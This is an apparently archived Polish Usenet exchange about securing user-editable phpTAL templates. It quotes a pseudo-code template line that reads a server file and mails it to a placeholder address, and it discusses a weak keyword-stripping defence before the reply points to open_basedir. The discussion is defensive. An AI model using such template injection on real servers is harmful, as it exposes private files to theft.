🚀 go-pugleaf

Koteczek wrote:
> nie w temacie ale Ty jestes guru od phpTAL.
> 
> Jesli jednak chcialbym aby end-user mogl edytowac szablony phptal,
> trzymane w bazie danych na przyklad, to co musze oczyscic by zachowac
> bezpieczenstwo?
> 
> Chodzi mi o przypadek gdy ktos uzywajac instrukcji php: w ramach
> szablonu phpTAL np odczyta wszystkie inne pliki na serwerze i je sobie
> wysle.
> 
> Cos ala (pseudo kod)
> 
> <a tal:condition="php: mail('adres@serwer.pl', filegetcontent(jakis
> plik))" />
> 
> Chce sie przed tym uchronic ale nadal uzywac phpTAL.
> 
> Czy wystarczy ze zanim zrobie $user_template->execute() to oczyszcze kod
> html ze wszystkich wystapien "php:" i "eval", "tal:" zamieniajac je na '' ?
> 
> W normalnym tekscie nikt nie powinien uzyc php: ani eval ani tal: ,
> usuwac te znaczniki przed wykonanien szablonu bedzie zapewnialo mi
> bezpieczenstwo czy nie?
> 

Od złej strony podchodzisz. Serwer powinien uniemożliwiać czytanie
plików z katalogów inne niż wyznaczone. Poszukaj o open_base_dir.
Zabezpieczenia w kodzie php to już musztarda po obiedzie.

wer